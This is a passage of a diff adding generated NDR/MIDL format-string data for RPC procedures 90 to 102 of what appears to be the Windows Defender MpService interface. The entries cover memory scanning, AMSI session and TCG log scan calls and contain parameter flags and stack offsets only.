+ 0x1, /* Ext Flags: new corr desc, */ +/* 5060 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5064 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5066 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5068 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5070 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5072 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 5074 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5076 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5078 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5080 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5082 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5086 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 5088 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5092 */ NdrFcShort( 0x5a ), /* 90 */ +/* 5094 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5096 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5098 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 5100 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 5102 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5104 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5106 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5110 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5112 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 5114 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5116 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 5118 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 5120 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5122 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 5124 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5126 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5128 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5130 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5132 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5134 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5136 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5138 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5142 */ NdrFcShort( 0x5b ), /* 91 */ +/* 5144 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5146 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5148 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5150 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5152 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5154 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5156 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5158 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 5160 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5162 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5164 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5166 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5168 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5170 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5172 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5174 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5176 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5178 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 5180 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5182 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5184 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5188 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5190 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5192 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5194 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5198 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5200 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5202 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5206 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5208 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5210 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5212 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5214 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5220 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5222 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5224 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5226 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5228 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5230 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5232 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5234 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5236 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5238 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5240 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5242 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5244 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5248 */ NdrFcShort( 0x5d ), /* 93 */ +/* 5250 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5252 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5254 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5256 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5258 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5260 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5262 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5264 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5266 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5268 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5270 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5272 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5274 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5278 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 5280 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5282 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5284 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5286 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5288 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5290 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc94_ServerMpRpcMemoryScanStart */ + +/* 5292 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 5294 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5298 */ NdrFcShort( 0x5e ), /* 94 */ +/* 5300 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 5302 */ NdrFcShort( 0x34 ), /* 52 */ +/* 5304 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 5306 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 5308 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5310 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5312 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5316 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5318 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 5320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5322 */ NdrFcShort( 0x7e ), /* Type Offset=126 */ + + /* Parameter arg_2 */ + +/* 5324 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5326 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5328 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 5330 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 5332 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5334 */ NdrFcShort( 0x8a4 ), /* Type Offset=2212 */ + + /* Parameter arg_4 */ + +/* 5336 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 5338 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5340 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_5 */ + +/* 5342 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 5344 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5346 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_6 */ + +/* 5348 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5350 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5352 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5354 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5356 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5358 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc95_ServerMpRpcMemoryScanQueryNotification */ + +/* 5360 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5362 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5366 */ NdrFcShort( 0x5f ), /* 95 */ +/* 5368 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5370 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5372 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5374 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5376 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5378 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5380 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5382 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 5384 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5388 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5390 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5392 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5394 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5396 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5398 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5400 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5402 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 5404 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5406 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5408 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5410 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5412 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5414 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc96_ServerMpRpcMemoryScanClose */ + +/* 5416 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5418 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5422 */ NdrFcShort( 0x60 ), /* 96 */ +/* 5424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5426 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5428 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5430 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5432 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5434 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5436 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5438 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5440 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5442 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5444 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5446 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5448 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5450 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5452 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 5454 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5456 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5458 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5460 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5462 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5464 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc97_ServerMpRpcFastMemoryScanOpen */ + +/* 5466 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 5468 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5472 */ NdrFcShort( 0x61 ), /* 97 */ +/* 5474 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5476 */ NdrFcShort( 0x2c ), /* 44 */ +/* 5478 */ NdrFcShort( 0xc0 ), /* 192 */ +/* 5480 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 5482 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5484 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5486 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5488 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5490 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5492 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 5494 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5496 */ NdrFcShort( 0x7e ), /* Type Offset=126 */ + + /* Parameter arg_2 */ + +/* 5498 */ NdrFcShort( 0x8112 ), /* Flags: must free, out, simple ref, srv alloc size=32 */ +/* 5500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5502 */ NdrFcShort( 0x8ba ), /* Type Offset=2234 */ + + /* Parameter arg_3 */ + +/* 5504 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 5506 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5508 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 5510 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5512 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5514 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5516 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5518 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5520 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc98_ServerMpRpcFastMemoryScan */ + +/* 5522 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5524 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5528 */ NdrFcShort( 0x62 ), /* 98 */ +/* 5530 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5532 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5534 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5536 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5538 */ NdrFcShort( 0x2c ), /* 44 */ +/* 5540 */ NdrFcShort( 0x4c ), /* 76 */ +/* 5542 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 5544 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5546 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5548 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5550 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5552 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5554 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5556 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5558 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5560 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5562 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5564 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5566 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 5568 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5570 */ NdrFcShort( 0x85a ), /* Type Offset=2138 */ + + /* Parameter arg_3 */ + +/* 5572 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ +/* 5574 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5576 */ NdrFcShort( 0x6e ), /* Type Offset=110 */ + + /* Parameter arg_4 */ + +/* 5578 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5580 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5582 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5584 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5586 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5588 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc99_ServerMpRpcFastMemoryScanClose */ + +/* 5590 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5592 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5596 */ NdrFcShort( 0x63 ), /* 99 */ +/* 5598 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5600 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5602 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5604 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5606 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5608 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5610 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5612 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5614 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5620 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5622 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5624 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5626 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_1 */ + +/* 5628 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5630 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5632 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5634 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5636 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5638 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc100_ServerMpRpcFastMemoryScanCacheInfo */ + +/* 5640 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5642 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5646 */ NdrFcShort( 0x64 ), /* 100 */ +/* 5648 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5650 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5652 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5654 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5656 */ NdrFcShort( 0x88 ), /* 136 */ +/* 5658 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5660 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5662 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5666 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5668 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5670 */ NdrFcShort( 0x8112 ), /* Flags: must free, out, simple ref, srv alloc size=32 */ +/* 5672 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5674 */ NdrFcShort( 0x8ba ), /* Type Offset=2234 */ + + /* Parameter arg_2 */ + +/* 5676 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5678 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5680 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5682 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5684 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc101_ServerMpRpcAmsiCloseSession */ + +/* 5688 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5690 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5694 */ NdrFcShort( 0x65 ), /* 101 */ +/* 5696 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5698 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5700 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5702 */ NdrFcShort( 0x10 ), /* 16 */ +/* 5704 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5706 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5708 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5710 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5714 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5716 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5718 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5720 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5722 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5724 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5726 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5728 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5730 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5732 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5734 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc102_ServerMpRpcTcgLogScan */ + +/* 5736 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5738 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5742 */ NdrFcShort( 0x66 ), /* 102 */ +/* 5744 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 5746 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5748 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5750 */ NdrFcShort( 0x8 ), /* 8 */ +/* 5752 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5754 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 5756 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 5758 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5760 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5762 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5764 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5766 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5768 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5770 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5772 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 5774 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5776 */ NdrFcShort( 0x8ca ), /* Type Offset=2250 */ + + /* Parameter arg_3 */ + +/* 5778 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5780 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5782 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 5784 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5786 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5788 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter 